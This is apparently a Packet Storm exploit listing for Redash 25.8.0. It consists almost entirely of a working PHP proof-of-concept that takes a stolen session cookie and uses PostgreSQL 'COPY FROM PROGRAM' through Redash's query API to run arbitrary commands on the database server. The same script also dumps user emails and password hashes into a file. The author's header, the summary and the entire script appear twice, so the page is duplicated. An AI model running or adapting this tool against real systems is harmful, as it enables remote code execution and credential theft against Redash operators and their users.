Description
This PHP script is a security exploitation tool that targets Redash, an open-source data visualization platform. The tool leverages a configuration vulnerability in Redash's default PostgreSQL setup to perform two critical attacks. It can execute...
Basic Information
ID
PACKETSTORM:215802
Published
Feb 18, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Redash 25.8.0 Password Hash Extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://redash.io/ |
=============================================================================================================================================
[+] Summary : This PHP script is a security exploitation tool that targets Redash, an open-source data visualization platform.
The tool leverages a configuration vulnerability in Redash's default PostgreSQL setup to perform two critical attacks:
[+] Key Capabilities:
Remote Command Execution (RCE) - Executes arbitrary system commands on the database server using PostgreSQL's COPY FROM PROGRAM functionality
Password Hash Extraction - Extracts password hashes from Redash's internal user authentication table
[+] POC :
<?php
/*
* poc.php
*
* =Usage=
* php poc.php <url> <cookie_file> [--cmd <command> | --dump]
* Example: php poc.php http://localhost:5000 cookie.txt --cmd "id"
* Example: php poc.php http://localhost:5000 cookie.txt --dump
*/
error_reporting(E_ALL);
ini_set('display_errors', 1);
$GLOBALS['ssl_verify'] = false;
function print_usage($script_name) {
echo "Usage: php $script_name <url> <cookie_file> [--cmd <command> | --dump]\n\n";
echo "Examples:\n";
echo " php $script_name http://localhost:5000 cookie.txt --cmd 'id'\n";
echo " php $script_name $script_name http://localhost:5000 cookie.txt --dump\n\n";
}
function load_cookies($path) {
$cookies = [];
if (!file_exists($path)) {
die("Error: Cookie file not found: $path\n");
}
$lines = file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
if (trim($line) === '' || $line[0] === '#') {
continue;
}
$parts = explode("\t", $line);
if (count($parts) >= 7) {
$cookies[$parts[5]] = $parts[6];
}
}
return $cookies;
}
function normalize_url($url) {
$url = rtrim($url, '/');
if (strpos($url, 'http://') === 0 || strpos($url, 'https://') === 0) {
return $url;
}
$protocols = ['https://', 'http://'];
foreach ($protocols as $protocol) {
$test_url = $protocol . $url;
$ch = curl_init($test_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_NOBODY => true,
CURLOPT_HEADER => true,
CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
CURLOPT_TIMEOUT => 3
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code > 0) {
return $test_url;
}
}
return 'http://' . $url;
}
function find_api_path($base_url, $cookies) {
$session = create_session($cookies);
$paths = [
"/api/query_results",
"/default/api/query_results",
"/org/api/query_results",
];
foreach ($paths as $path) {
$url = $base_url . $path;
try {
$response = http_post($session, $url, [
"query" => "SELECT 1",
"data_source_id" => 1,
"parameters" => []
]);
if ($response['status'] == 200 || $response['status'] == 400) {
return $path;
}
} catch (Exception $e) {
}
}
return $paths[0];
}
function create_session($cookies) {
$cookie_string = '';
foreach ($cookies as $name => $value) {
$cookie_string .= $name . '=' . $value . '; ';
}
return [
'cookies' => rtrim($cookie_string, '; '),
'headers' => [
'Content-Type: application/json',
'Accept: application/json'
]
];
}
function http_get($session, $url, $timeout = 15) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => $session['headers'],
CURLOPT_COOKIE => $session['cookies'],
CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
CURLOPT_TIMEOUT => $timeout,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error && $http_code == 0) {
throw new Exception("HTTP request failed: $error");
}
return [
'status' => $http_code,
'body' => $response,
'json' => json_decode($response, true)
];
}
function http_post($session, $url, $data, $timeout = 30) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($data),
CURLOPT_HTTPHEADER => array_merge($session['headers'], ['Content-Type: application/json']),
CURLOPT_COOKIE => $session['cookies'],
CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
CURLOPT_TIMEOUT => $timeout,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error && $http_code == 0) {
throw new Exception("HTTP request failed: $error");
}
return [
'status' => $http_code,
'body' => $response,
'json' => json_decode($response, true)
];
}
function execute_rce($base_url, $cookies, $command) {
$session = create_session($cookies);
$api_path = find_api_path($base_url, $cookies);
$endpoint = $base_url . $api_path;
$table = "rce_" . substr(md5($command), 0, 8);
$payload = [
"query" => "CREATE UNLOGGED TABLE IF NOT EXISTS $table AS SELECT '1' WHERE 1=0; COPY $table FROM PROGRAM '$command'; SELECT * FROM $table",
"data_source_id" => 1,
"parameters" => []
];
$resp = http_post($session, $endpoint, $payload);
if ($resp['status'] != 200) {
throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration");
}
$result = $resp['json'];
if (isset($result['query_result'])) {
$rows = $result['query_result']['data']['rows'];
$output = [];
foreach ($rows as $row) {
if (isset($row['?column?'])) {
$output[] = $row['?column?'];
}
}
return $output;
}
$job_id = $result['job']['id'] ?? null;
if (!$job_id) {
throw new Exception("Failed to submit query: " . print_r($result, true));
}
$deadline = time() + 60;
while (time() < $deadline) {
$job_url = $base_url . "/api/jobs/$job_id";
$job_resp = http_get($session, $job_url);
if ($job_resp['status'] != 200) {
throw new Exception("Failed to poll job: HTTP " . $job_resp['status']);
}
$job = $job_resp['json']['job'] ?? [];
if (($job['status'] ?? 0) == 3) { // Complete
$result_id = $job['query_result_id'] ?? null;
$result_paths = [
"/api/query_results/$result_id",
"/default/api/query_results/$result_id"
];
foreach ($result_paths as $res_path) {
try {
$url = $base_url . $res_path;
$res = http_get($session, $url);
if ($res['status'] == 200) {
$rows = $res['json']['query_result']['data']['rows'];
$output = [];
foreach ($rows as $row) {
if (isset($row['?column?'])) {
$output[] = $row['?column?'];
}
}
return $output;
}
} catch (Exception $e) {
}
}
throw new Exception("Could not fetch query results");
}
if (($job['status'] ?? 0) == 4) { // Failed
throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error'));
}
usleep(500000); // 0.5 seconds
}
throw new Exception("Job did not complete");
}
function extract_password_hashes($base_url, $cookies) {
$session = create_session($cookies);
$api_path = find_api_path($base_url, $cookies);
$endpoint = $base_url . $api_path;
$payload = [
"query" => "SELECT email, password_hash FROM users",
"data_source_id" => 1,
"parameters" => []
];
$resp = http_post($session, $endpoint, $payload);
if ($resp['status'] != 200) {
throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration");
}
$result = $resp['json'];
if (isset($result['query_result'])) {
$rows = $result['query_result']['data']['rows'];
$hash_list = [];
foreach ($rows as $row) {
$email = $row['email'] ?? '';
$password_hash = $row['password_hash'] ?? '';
if ($password_hash && strpos($password_hash, '$') === 0 && $email) {
$hash_list[] = [$email, $password_hash];
}
}
return $hash_list;
}
$job_id = $result['job']['id'] ?? null;
if (!$job_id) {
throw new Exception("Failed to submit query: " . print_r($result, true));
}
$deadline = time() + 60;
while (time() < $deadline) {
$job_url = $base_url . "/api/jobs/$job_id";
$job_resp = http_get($session, $job_url);
if ($job_resp['status'] != 200) {
throw new Exception("Failed to poll job: HTTP " . $job_resp['status']);
}
$job = $job_resp['json']['job'] ?? [];
if (($job['status'] ?? 0) == 3) { // Complete
$result_id = $job['query_result_id'] ?? null;
$result_paths = [
"/api/query_results/$result_id",
"/default/api/query_results/$result_id"
];
foreach ($result_paths as $res_path) {
try {
$url = $base_url . $res_path;
$res = http_get($session, $url);
if ($res['status'] == 200) {
$rows = $res['json']['query_result']['data']['rows'];
$hash_list = [];
foreach ($rows as $row) {
$email = $row['email'] ?? '';
$password_hash = $row['password_hash'] ?? '';
if ($password_hash && strpos($password_hash, '$') === 0 && $email) {
$hash_list[] = [$email, $password_hash];
}
}
return $hash_list;
}
} catch (Exception $e) {
}
}
throw new Exception("Could not fetch query results");
}
if (($job['status'] ?? 0) == 4) { // Failed
throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error'));
}
usleep(500000); // 0.5 seconds
}
throw new Exception("Job did not complete");
}
function main($argv) {
if (count($argv) < 3) {
print_usage($argv[0]);
exit(1);
}
$url = $argv[1];
$cookie_file = $argv[2];
$mode = "--dump";
$command = null;
if (count($argv) > 3) {
if ($argv[3] == "--cmd") {
$mode = "--cmd";
if (count($argv) < 5) {
echo "Error: --cmd requires a command argument\n";
exit(1);
}
$command = $argv[4];
} elseif ($argv[3] == "--dump") {
$mode = "--dump";
} else {
echo "Error: Unknown option {$argv[3]}\n";
exit(1);
}
}
try {
$url = normalize_url($url);
$cookies = load_cookies($cookie_file);
if ($mode == "--cmd") {
fwrite(STDERR, "[*] Executing command: $command\n\n");
$output = execute_rce($url, $cookies, $command);
foreach ($output as $line) {
echo $line . "\n";
}
} else { // --dump
fwrite(STDERR, "[*] Extracting password hashes...\n");
$hash_list = extract_password_hashes($url, $cookies);
fwrite(STDERR, "[*] Found " . count($hash_list) . " password hashes\n\n");
if (empty($hash_list)) {
fwrite(STDERR, "No password hashes found\n");
exit(1);
}
$hash_file = fopen('hashes.txt', 'w');
foreach ($hash_list as $hash_entry) {
list($email, $password_hash) = $hash_entry;
echo $email . "\n";
echo $password_hash . "\n\n";
fwrite($hash_file, $password_hash . "\n");
}
fclose($hash_file);
fwrite(STDERR, "[*] Hashes written to hashes.txt\n");
}
} catch (Exception $e) {
echo "Error: " . $e->getMessage() . "\n";
exit(1);
}
}
if (php_sapi_name() === 'cli') {
main($argv);
} else {
echo "This script must be run from the command line.\n";
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : Redash 25.8.0 Password Hash Extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://redash.io/ |
=============================================================================================================================================
[+] Summary : This PHP script is a security exploitation tool that targets Redash, an open-source data visualization platform.
The tool leverages a configuration vulnerability in Redash's default PostgreSQL setup to perform two critical attacks:
[+] Key Capabilities:
Remote Command Execution (RCE) - Executes arbitrary system commands on the database server using PostgreSQL's COPY FROM PROGRAM functionality
Password Hash Extraction - Extracts password hashes from Redash's internal user authentication table
[+] POC :
<?php
/*
* poc.php
*
* =Usage=
* php poc.php <url> <cookie_file> [--cmd <command> | --dump]
* Example: php poc.php http://localhost:5000 cookie.txt --cmd "id"
* Example: php poc.php http://localhost:5000 cookie.txt --dump
*/
error_reporting(E_ALL);
ini_set('display_errors', 1);
$GLOBALS['ssl_verify'] = false;
function print_usage($script_name) {
echo "Usage: php $script_name <url> <cookie_file> [--cmd <command> | --dump]\n\n";
echo "Examples:\n";
echo " php $script_name http://localhost:5000 cookie.txt --cmd 'id'\n";
echo " php $script_name $script_name http://localhost:5000 cookie.txt --dump\n\n";
}
function load_cookies($path) {
$cookies = [];
if (!file_exists($path)) {
die("Error: Cookie file not found: $path\n");
}
$lines = file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
if (trim($line) === '' || $line[0] === '#') {
continue;
}
$parts = explode("\t", $line);
if (count($parts) >= 7) {
$cookies[$parts[5]] = $parts[6];
}
}
return $cookies;
}
function normalize_url($url) {
$url = rtrim($url, '/');
if (strpos($url, 'http://') === 0 || strpos($url, 'https://') === 0) {
return $url;
}
$protocols = ['https://', 'http://'];
foreach ($protocols as $protocol) {
$test_url = $protocol . $url;
$ch = curl_init($test_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_NOBODY => true,
CURLOPT_HEADER => true,
CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
CURLOPT_TIMEOUT => 3
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code > 0) {
return $test_url;
}
}
return 'http://' . $url;
}
function find_api_path($base_url, $cookies) {
$session = create_session($cookies);
$paths = [
"/api/query_results",
"/default/api/query_results",
"/org/api/query_results",
];
foreach ($paths as $path) {
$url = $base_url . $path;
try {
$response = http_post($session, $url, [
"query" => "SELECT 1",
"data_source_id" => 1,
"parameters" => []
]);
if ($response['status'] == 200 || $response['status'] == 400) {
return $path;
}
} catch (Exception $e) {
}
}
return $paths[0];
}
function create_session($cookies) {
$cookie_string = '';
foreach ($cookies as $name => $value) {
$cookie_string .= $name . '=' . $value . '; ';
}
return [
'cookies' => rtrim($cookie_string, '; '),
'headers' => [
'Content-Type: application/json',
'Accept: application/json'
]
];
}
function http_get($session, $url, $timeout = 15) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => $session['headers'],
CURLOPT_COOKIE => $session['cookies'],
CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
CURLOPT_TIMEOUT => $timeout,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error && $http_code == 0) {
throw new Exception("HTTP request failed: $error");
}
return [
'status' => $http_code,
'body' => $response,
'json' => json_decode($response, true)
];
}
function http_post($session, $url, $data, $timeout = 30) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($data),
CURLOPT_HTTPHEADER => array_merge($session['headers'], ['Content-Type: application/json']),
CURLOPT_COOKIE => $session['cookies'],
CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
CURLOPT_TIMEOUT => $timeout,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error && $http_code == 0) {
throw new Exception("HTTP request failed: $error");
}
return [
'status' => $http_code,
'body' => $response,
'json' => json_decode($response, true)
];
}
function execute_rce($base_url, $cookies, $command) {
$session = create_session($cookies);
$api_path = find_api_path($base_url, $cookies);
$endpoint = $base_url . $api_path;
$table = "rce_" . substr(md5($command), 0, 8);
$payload = [
"query" => "CREATE UNLOGGED TABLE IF NOT EXISTS $table AS SELECT '1' WHERE 1=0; COPY $table FROM PROGRAM '$command'; SELECT * FROM $table",
"data_source_id" => 1,
"parameters" => []
];
$resp = http_post($session, $endpoint, $payload);
if ($resp['status'] != 200) {
throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration");
}
$result = $resp['json'];
if (isset($result['query_result'])) {
$rows = $result['query_result']['data']['rows'];
$output = [];
foreach ($rows as $row) {
if (isset($row['?column?'])) {
$output[] = $row['?column?'];
}
}
return $output;
}
$job_id = $result['job']['id'] ?? null;
if (!$job_id) {
throw new Exception("Failed to submit query: " . print_r($result, true));
}
$deadline = time() + 60;
while (time() < $deadline) {
$job_url = $base_url . "/api/jobs/$job_id";
$job_resp = http_get($session, $job_url);
if ($job_resp['status'] != 200) {
throw new Exception("Failed to poll job: HTTP " . $job_resp['status']);
}
$job = $job_resp['json']['job'] ?? [];
if (($job['status'] ?? 0) == 3) { // Complete
$result_id = $job['query_result_id'] ?? null;
$result_paths = [
"/api/query_results/$result_id",
"/default/api/query_results/$result_id"
];
foreach ($result_paths as $res_path) {
try {
$url = $base_url . $res_path;
$res = http_get($session, $url);
if ($res['status'] == 200) {
$rows = $res['json']['query_result']['data']['rows'];
$output = [];
foreach ($rows as $row) {
if (isset($row['?column?'])) {
$output[] = $row['?column?'];
}
}
return $output;
}
} catch (Exception $e) {
}
}
throw new Exception("Could not fetch query results");
}
if (($job['status'] ?? 0) == 4) { // Failed
throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error'));
}
usleep(500000); // 0.5 seconds
}
throw new Exception("Job did not complete");
}
function extract_password_hashes($base_url, $cookies) {
$session = create_session($cookies);
$api_path = find_api_path($base_url, $cookies);
$endpoint = $base_url . $api_path;
$payload = [
"query" => "SELECT email, password_hash FROM users",
"data_source_id" => 1,
"parameters" => []
];
$resp = http_post($session, $endpoint, $payload);
if ($resp['status'] != 200) {
throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration");
}
$result = $resp['json'];
if (isset($result['query_result'])) {
$rows = $result['query_result']['data']['rows'];
$hash_list = [];
foreach ($rows as $row) {
$email = $row['email'] ?? '';
$password_hash = $row['password_hash'] ?? '';
if ($password_hash && strpos($password_hash, '$') === 0 && $email) {
$hash_list[] = [$email, $password_hash];
}
}
return $hash_list;
}
$job_id = $result['job']['id'] ?? null;
if (!$job_id) {
throw new Exception("Failed to submit query: " . print_r($result, true));
}
$deadline = time() + 60;
while (time() < $deadline) {
$job_url = $base_url . "/api/jobs/$job_id";
$job_resp = http_get($session, $job_url);
if ($job_resp['status'] != 200) {
throw new Exception("Failed to poll job: HTTP " . $job_resp['status']);
}
$job = $job_resp['json']['job'] ?? [];
if (($job['status'] ?? 0) == 3) { // Complete
$result_id = $job['query_result_id'] ?? null;
$result_paths = [
"/api/query_results/$result_id",
"/default/api/query_results/$result_id"
];
foreach ($result_paths as $res_path) {
try {
$url = $base_url . $res_path;
$res = http_get($session, $url);
if ($res['status'] == 200) {
$rows = $res['json']['query_result']['data']['rows'];
$hash_list = [];
foreach ($rows as $row) {
$email = $row['email'] ?? '';
$password_hash = $row['password_hash'] ?? '';
if ($password_hash && strpos($password_hash, '$') === 0 && $email) {
$hash_list[] = [$email, $password_hash];
}
}
return $hash_list;
}
} catch (Exception $e) {
}
}
throw new Exception("Could not fetch query results");
}
if (($job['status'] ?? 0) == 4) { // Failed
throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error'));
}
usleep(500000); // 0.5 seconds
}
throw new Exception("Job did not complete");
}
function main($argv) {
if (count($argv) < 3) {
print_usage($argv[0]);
exit(1);
}
$url = $argv[1];
$cookie_file = $argv[2];
$mode = "--dump";
$command = null;
if (count($argv) > 3) {
if ($argv[3] == "--cmd") {
$mode = "--cmd";
if (count($argv) < 5) {
echo "Error: --cmd requires a command argument\n";
exit(1);
}
$command = $argv[4];
} elseif ($argv[3] == "--dump") {
$mode = "--dump";
} else {
echo "Error: Unknown option {$argv[3]}\n";
exit(1);
}
}
try {
$url = normalize_url($url);
$cookies = load_cookies($cookie_file);
if ($mode == "--cmd") {
fwrite(STDERR, "[*] Executing command: $command\n\n");
$output = execute_rce($url, $cookies, $command);
foreach ($output as $line) {
echo $line . "\n";
}
} else { // --dump
fwrite(STDERR, "[*] Extracting password hashes...\n");
$hash_list = extract_password_hashes($url, $cookies);
fwrite(STDERR, "[*] Found " . count($hash_list) . " password hashes\n\n");
if (empty($hash_list)) {
fwrite(STDERR, "No password hashes found\n");
exit(1);
}
$hash_file = fopen('hashes.txt', 'w');
foreach ($hash_list as $hash_entry) {
list($email, $password_hash) = $hash_entry;
echo $email . "\n";
echo $password_hash . "\n\n";
fwrite($hash_file, $password_hash . "\n");
}
fclose($hash_file);
fwrite(STDERR, "[*] Hashes written to hashes.txt\n");
}
} catch (Exception $e) {
echo "Error: " . $e->getMessage() . "\n";
exit(1);
}
}
if (php_sapi_name() === 'cli') {
main($argv);
} else {
echo "This script must be run from the command line.\n";
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================